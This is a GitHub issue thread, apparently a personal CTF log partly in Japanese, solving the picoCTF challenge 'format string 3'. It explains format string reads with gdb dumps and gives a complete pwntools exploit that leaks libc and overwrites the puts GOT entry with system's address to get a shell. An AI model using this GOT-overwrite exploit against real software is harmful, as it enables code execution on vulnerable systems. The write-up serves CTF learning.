roaris / ctf-log

0 stars 0 forks source link

picoCTF: format string 3 (Binary Exploitation) #55

Open roaris opened 5 months ago

roaris commented 5 months ago

https://play.picoctf.org/practice/challenge/449

roaris commented 5 months ago
#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
    puts("Howdy gamers!");
    printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
    char *all_strings[MAX_STRINGS] = {NULL};
    char buf[1024] = {'\0'};

    setup();
    hello();    

    fgets(buf, 1024, stdin);    
    printf(buf);

    puts(normal_string);

    return 0;
}
$ checksec format-string-3
[*] '/home/roaris/picoCTF/2024/449_re/format-string-3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
roaris commented 5 months ago

ダウンロードしたバイナリが動かせなかったので、ローカルでコンパイルした

$ ./format-string-3 
bash: ./format-string-3: cannot execute: required file not found
$ gcc format-string-3.c -no-pie -fstack-protector -o my-format-string-3
$ checksec my-format-string-3 
[*] '/home/roaris/picoCTF/2024/449_re/my-format-string-3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./my-format-string-3 
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f5e74c912e0
test
test
/bin/sh
roaris commented 5 months ago

この問題では、書式文字列攻撃を行う 書式文字列とは、printf関数の第1引数に渡す文字列のことである

#include <stdio.h>

int main(void){
    int x = 100;
    char *s = "abcde";
    printf("x=%d,s=%s", x, s); // x=100,s=abcde
}

この例では、x=%d,s=%sが書式文字列である 書式文字列を攻撃者が自由に指定できる場合、指定したアドレスに格納された値の読み出しや、指定したアドレスへの値の書き込みが可能になる

roaris commented 5 months ago

値の読み出し(その1)

x64の引数は第1引数から順に、rdi, rsi, rdx, rcx, r8, r9を使う 第7引数以降はスタックに詰んでから関数を呼び出す rbpに元のrbp、rbp+0x8にリターンアドレスが格納されていて、第7引数はrbp+0x10, 第8引数はrbp+0x18, 第9引数はrbp+0x20, ... に格納されている

書式文字列だけをprintf関数に渡した場合、レジスタやスタックに格納された値を読み出すことが出来る

#include <stdio.h>

int main() {
    printf("1: %lx, 2: %lx, 3: %lx, 4: %lx, 5: %lx, 6: %lx, 7: %lx, 8: %lx\n");
}

rsi, rdx, rcx, r8, r9, (printfを呼び出す前のrsp), (printfを呼び出す前のrsp)+0x8, (printfを呼び出す前のrsp)+0x10 に格納された値が順に出力されることになる %lxは8バイト整数として読み出し、16進数として表示する gdbで確認する

gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RCX: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
RDX: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
RSI: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RDI: 0x555555556008 ("1: %lx, 2: %lx, 3: %lx, 4: %lx, 5: %lx, 6: %lx, 7: %lx, 8: %lx\n")
RBP: 0x7fffffffdf60 --> 0x1
RSP: 0x7fffffffdf60 --> 0x1
RIP: 0x55555555514c (<main+19>: call   0x555555555030 <printf@plt>)
R8 : 0x0
R9 : 0x7ffff7fcfb10 (<_dl_fini>:        push   r15)
R10: 0x7ffff7fcb858 --> 0xa00120000000e
R11: 0x7ffff7fe1e30 (<_dl_audit_preinit>:       mov    eax,DWORD PTR [rip+0x1b022]        # 0x7ffff7ffce58 <_rtld_global_ro+888>)
R12: 0x0
R13: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2d0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555513d <main+4>:     lea    rax,[rip+0xec4]        # 0x555555556008
   0x555555555144 <main+11>:    mov    rdi,rax
   0x555555555147 <main+14>:    mov    eax,0x0
=> 0x55555555514c <main+19>:    call   0x555555555030 <printf@plt>
   0x555555555151 <main+24>:    mov    eax,0x0
   0x555555555156 <main+29>:    pop    rbp
   0x555555555157 <main+30>:    ret
   0x555555555158 <_fini>:      sub    rsp,0x8
Guessed arguments:
arg[0]: 0x555555556008 ("1: %lx, 2: %lx, 3: %lx, 4: %lx, 5: %lx, 6: %lx, 7: %lx, 8: %lx\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf60 --> 0x1
0008| 0x7fffffffdf68 --> 0x7ffff7df26ca (<__libc_start_call_main+122>:  mov    edi,eax)
0016| 0x7fffffffdf70 --> 0x7fffffffe060 --> 0x7fffffffe068 --> 0x7ffff7fc3160 --> 0x7ffff7dcb000 --> 0x3010102464c457f
0024| 0x7fffffffdf78 --> 0x555555555139 (<main>:        push   rbp)
0032| 0x7fffffffdf80 --> 0x155554040
0040| 0x7fffffffdf88 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0048| 0x7fffffffdf90 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0056| 0x7fffffffdf98 --> 0xd56aff8d3f7b38f6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555514c in main ()
gdb-peda$ n
1: 7fffffffe078, 2: 7fffffffe088, 3: 555555557dd8, 4: 0, 5: 7ffff7fcfb10, 6: 1, 7: 7ffff7df26ca, 8: 7fffffffe060

%n$lxとすると、n+1番目の引数を指定できる

#include <stdio.h>

int main() {
    printf("1: %1$lx, 4: %4$lx, 7: %7$lx\n");
}

rsi, r8, (printfを呼び出す前のrsp)+0x8 に格納された値が順に出力されることになる gdbで確認する

gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RCX: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
RDX: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
RSI: 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
RDI: 0x555555556004 ("1: %1$lx, 4: %4$lx, 7: %7$lx\n")
RBP: 0x7fffffffdf60 --> 0x1
RSP: 0x7fffffffdf60 --> 0x1
RIP: 0x55555555514c (<main+19>: call   0x555555555030 <printf@plt>)
R8 : 0x0
R9 : 0x7ffff7fcfb10 (<_dl_fini>:        push   r15)
R10: 0x7ffff7fcb858 --> 0xa00120000000e
R11: 0x7ffff7fe1e30 (<_dl_audit_preinit>:       mov    eax,DWORD PTR [rip+0x1b022]        # 0x7ffff7ffce58 <_rtld_global_ro+888>)
R12: 0x0
R13: 0x7fffffffe088 --> 0x7fffffffe33e ("HOSTTYPE=x86_64")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2d0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555513d <main+4>:     lea    rax,[rip+0xec0]        # 0x555555556004
   0x555555555144 <main+11>:    mov    rdi,rax
   0x555555555147 <main+14>:    mov    eax,0x0
=> 0x55555555514c <main+19>:    call   0x555555555030 <printf@plt>
   0x555555555151 <main+24>:    mov    eax,0x0
   0x555555555156 <main+29>:    pop    rbp
   0x555555555157 <main+30>:    ret
   0x555555555158 <_fini>:      sub    rsp,0x8
Guessed arguments:
arg[0]: 0x555555556004 ("1: %1$lx, 4: %4$lx, 7: %7$lx\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf60 --> 0x1
0008| 0x7fffffffdf68 --> 0x7ffff7df26ca (<__libc_start_call_main+122>:  mov    edi,eax)
0016| 0x7fffffffdf70 --> 0x7fffffffe060 --> 0x7fffffffe068 --> 0x7ffff7fc3160 --> 0x7ffff7dcb000 --> 0x3010102464c457f
0024| 0x7fffffffdf78 --> 0x555555555139 (<main>:        push   rbp)
0032| 0x7fffffffdf80 --> 0x155554040
0040| 0x7fffffffdf88 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0048| 0x7fffffffdf90 --> 0x7fffffffe078 --> 0x7fffffffe310 ("/home/roaris/picoCTF/2024/449_re/printf_test1")
0056| 0x7fffffffdf98 --> 0xb8cc6ee7de41feb4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555514c in main ()
gdb-peda$ n
1: 7fffffffe078, 4: 0, 7: 7ffff7df26ca
roaris commented 5 months ago

書くの面倒になったので、とりあえずプログラムだけ載せる 0x404018(ローカルだと0x404000)にputs関数のアドレスが格納されているので、ここを書式文字列攻撃によって、system関数のアドレスに書き換えている

from pwn import *

is_remote = False

if is_remote:
    io = remote('rhea.picoctf.net', 56247)
    libc_setvbuf_address = 0x7a3f0
    libc_system_address = 0x4f760
    address_of_puts_address = 0x404018
else:
    io = process('./my-format-string-3')
    libc_setvbuf_address = 0x762e0
    libc_system_address = 0x4c920
    address_of_puts_address = 0x404000

io.recvuntil(b'Okay I\'ll be nice. Here\'s the address of setvbuf in libc: ')
runtime_setvbuf_address = int(io.recvuntil(b'\n')[:-1].decode(), 16)
runtime_system_address = runtime_setvbuf_address + libc_system_address - libc_setvbuf_address
payload = ''
s = 0 # 出力した合計文字数
arg_number = 158

for i in range(8):
    b = (runtime_system_address >> (8*i)) & 255
    t = b - s # これから出力する文字数

    while t <= 0:
        t += 256

    payload += f'%{t}c%{arg_number}$hhn'
    s += t
    arg_number += 1

payload += 'a' * (960 - len(payload))
payload = bytes(payload, 'ascii')

for i in range(8):
    payload += (address_of_puts_address + i).to_bytes(8, 'little')

io.sendline(payload)
io.interactive()